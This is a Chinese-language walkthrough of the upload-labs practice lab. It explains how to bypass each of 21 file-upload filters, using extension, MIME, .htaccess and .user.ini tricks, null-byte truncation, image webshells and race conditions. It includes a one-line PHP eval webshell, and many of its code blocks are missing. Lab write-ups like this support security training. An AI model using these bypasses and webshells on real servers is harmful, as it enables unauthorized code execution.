靶机地址:https://github.com/c0ny1/upload-labs
Pass01
JS前端校验:
直接上传php,弹框提示文件不合法,也没有数据包传输,猜测是本地js验证。
关闭Google浏览器解析Javascript功能,
在 设置->高级->隐私设置和安全性->网站设置->JavaScript->关闭按钮
关闭JavaScript解析后,F5刷新页面,直接上传php文件即可。
Pass02
MIME校验:
MIME类型检测,直接上传PHP文件,修改Content-Type: application/octet-stream
为Content-Type: image/jpeg
.
Pass03
黑名单校验不严:
黑名单检测,检测了.php
后缀,但未检测php3,phtml等后缀。
靶机默认支持的解析后缀为:
因此直接上传php.phtml,得到Webshell。
Pass04
黑名单校验不严:
中间件为Apache的情况下,黑名单未校验htaccess文件,导致可上传htaccess文件,绕过黑名单检测。
以下配置 将后缀为lxhsec的文件,当成php解析。
先上传.htaccess文件
然后再上传php.lxhsec,得到Webshell.
Pass05
黑名单校验不严:
当PHP以CGI/FastCGI
模式运行的情况下,黑名单未校验后缀为.ini
的文件,导致可上传.user.ini
文件,绕过黑名单检测。
详情可以看下乌云的一篇文章.user.ini文件构成的PHP后门
使用作者提供的phpstudy集成环境是无法利用.user.ini
文件,因为不满足利用的三个条件:
- 服务器脚本语言为PHP
- 服务器使用CGI/FastCGI模式
- 上传目录下要有可执行的php文件
其中 第二条不满足,使用的模式不是CGI/FastCGI
。
第三个条件,作者在upload目录下为我们提供了一个readme.php。
这里我们直接使用phpstudy2014的集成环境中的Nginx+PHP 5.4n
去复现这个漏洞。
首先上传.user.ini
文件,文件内容为:auto_prepend_file=Pass05.png
接着上传Pass05.png
文件,文件内容为:<?php @eval($_POST['lxhsec']);?>
等待五分钟后,访问readme.php:
如果等不了五分钟,
1.可以直接重启phpstudy,让上传的.user.ini
立即生效。
2.或者 可以修改php.ini,将user_ini.cache_ttl
修改为10秒,修改后保存php.ini文件并重启phpstudy,之后再进行上面的操作即可。
Note: 经过测试 发现必须更改php.ini内的user_ini.cache_ttl
才有效,如果将上传的.user.ini文件内容加多一句user_ini.cache_ttl = 10
,这个是不会生效的,也依旧需要等五分钟。
Pass06
黑名单校验不严,没有将获取到的后缀名 转换 为小写字母 后再进行判断。
黑名单校验不严,后缀大小写绕过。
Pass07
黑名单校验不严,导致可结合Windows系统特性 空格
绕过。
黑名单校验不严,后缀加空格
绕过.
利用windows 特性(windows文件名后缀不允许存在空格,如果存在,windows自动去除空格)空格
绕过。
上传文件名1.php空格 ->php空格不在黑名单内,正常上传->windows发现写入的文件名有空格,自动去除空格->最后在磁盘上的文件名 就变成了1.php
Pass08
黑名单校验不严,导致可结合Windows系统特性点.
绕过。
黑名单校验不严,后缀加.
绕过.
利用windows特性(windows文件名后缀不允许存在.
,如果存在,windows自动去除).
绕过。
Pass09
黑名单校验不严,导致可结合Windows系统特性::$DATA
绕过。
黑名单校验不严,后缀加::$DATA
绕过
利用windows特性::$DATA
绕过。
DATA是NTFS文件系统的存储数据流的默认属性。
当访问1.php::$DATA时,就是请求1.php本身的数据。
Pass10
黑名单校验不严,导致可结合Windows系统特性.
绕过。
黑名单校验不严,导致php.php. .
绕过。
代码:
php.php.空格.
-> 删除文件名末尾的点,变为php.php.空格
-> 首尾去空,变为php.php.
->php.
后缀不在黑名单内,绕过黑名单验证->Windows发现文件名最后有.
,自动去除 -> 最终磁盘上的文件名为php.php
Pass11
黑名单过滤,只过滤一次,因此双写pphphp
绕过。
代码:
pphphp -> 过滤后为pphphp,前后又拼成了一个php。
Pass12
代码:
save_path
保存路径参数可控,Get参数,直接%00 截断,中间件Apache接收到请求后会将%00解码一次,也就变成了空字节,在内存中 一段字符串的结束通常以空字节标识,空字节后面的数据也就被截断了,因此$img_path=../upload/lxhsec.php
Pass13
代码:
save_path
保存路径参数可控,因为是POST参数,在取save_path值的时候,中间件Apache并不会自动解码一次,因此需要自己手动将%00解码一次。
Pass14
判断文件内容前两个字节是否是图片前缀。
因此解法1,添加图片前缀,例如gif 前缀 GIF89a
然后利用文件包含 getshell。include.php?file=upload/3620200111182701.gif
解法2,制作图片木马。copy test.png/b+1.php/a 3.png
test.png:随便一个png格式图片
1.php: 你的php代码
3.png: 合并之后的图片
3.png用文本编辑器打开,可以看到1.php的内容:
上传3.png,
访问,可以看见图片被解析为脚本语言。
Pass15
getimagesize
|
|
与十三关解法相同。
用1解法即可。
Pass16
exif_imagetype
|
|
与十三关解法相同。
用1解法即可。
Pass17
代码:
imagepng()二次渲染。
上传 使用第十三关的图片马时,图片会被二次渲染,里面的一句话会被清除,因此需要制作一张二次渲染过后,一句话依旧存在的图片马。
下列代码,可以制作一张二次渲染过后,恶意代码依旧存在的png图片马。
用法:php.exe png.php
生成1.png
上传生成的1.png:
文件包含:
Pass18
多线程上传,条件竞争。
代码:
逻辑:先移动,后检测,不符合再删除,符合则改名字。
上传文件名是$_FILES['upload_file']['name'];
可控。
因此我们可以用burp一直发上传包,让php程序一直处于移动php文件到upload目录这个阶段。
burp配置:
php代码:
然后写个python脚本一直访问上传的php文件,生成新的shell。
结果:
Pass19
这关代码有点小问题,上传的文件没有在upload目录下,而是文件名前多了个upload,像这样的../upload1578389650.jpg
,更改下Pass-19/myupload.php文件,
将103行的
改为:
这样 文件上传上来就在upload目录下了。../upload/1578389689.jpg
。
其实你不改也可以,就是WWW目录下会有很多文件,强迫症就难受了,hhh~。
代码:
关键函数move()
,先移动到upload目录下,在更改文件名$this->renameFile()
。
跟17关一样,条件竞争,只是第十八关校验了后缀,这里没有提示使用文件包含,那么考虑Apache未知扩展名解析漏洞
。
综上所述,我们可以使用burp一直发上传包,然后写个python小工具一直请求还没有进行renameFile
的文件,该文件也就是move_uploaded_file
函数参数中的$this->cls_upload_dir . $this->cls_filename
,再配合Apache未知扩展名解析漏洞,获取webshell。
其中$this->cls_upload_dir
也就是 define("UPLOAD_PATH", "../upload/");
,$this->cls_filename
是$_FILES['upload_file']['name']
。
burp配置与17关相同,这里选择上传.7z
后缀文件,试了下.rar
,.zip
发现Apache都认识,我们需要上传Apache不认识的后缀,它才会继续向前解析。
python代码:
结果:
Pass20
代码:
与12关类似,POST 参数save_name可控,当输入upload-19.php%00.jpg
时,pathinfo
获取的$file_ext
是.jpg
,从而进入了if代码块。
当$img_path = UPLOAD_PATH . '/' .$file_name;
拼接时,%00后面的数据又会被截断,从而上传了webshell。
Pass21
代码:
首先检查了MIME,更改Content-Type: image/png
即可绕过。
接下来
上述是正常情况下的走法。
绕过点在于:
如果走了explode,$file 最后一个必须要是jpg
or png
or gif
,$file值也就 只能 xxx.jpg or xxx.php.jpg,到了$file_name = reset($file) . '.' . $file[count($file) - 1];
这一步,文件名永远也是xxx.jpg
因此 必须不走explode,数组的值就可以任意操控。
不走explode的情况下,我们需要让$file
是数组,让is_array($file)
返回true.
也就是要这样构造:
接下来:
$file数组最后一个必须为jpg or png or gif.
也就是
再接着取数组的第一个和 数组总数-1的序号拼接。$file_name = reset($file) . '.' . $file[count($file) - 1];
当数据为:
结果如下:../upload//upload-20.php.jpg
这里我们要让jpg为空,利用windows文件名不允许.
结尾特性,获取shell。
当数组大小为2时,让$file[1]要为空,
也就是将save_name[1]
改为save_name[2]
,最终如下:
Windows下 使用.
特性绕过。
Linix下 使用/.
绕过(move_uploaded_file函数执行时 会忽略掉文件名末尾的/.
)
ps: 21关这个代码,不清楚这样写的意义,一般情况下php开发,也不会写的这么绕…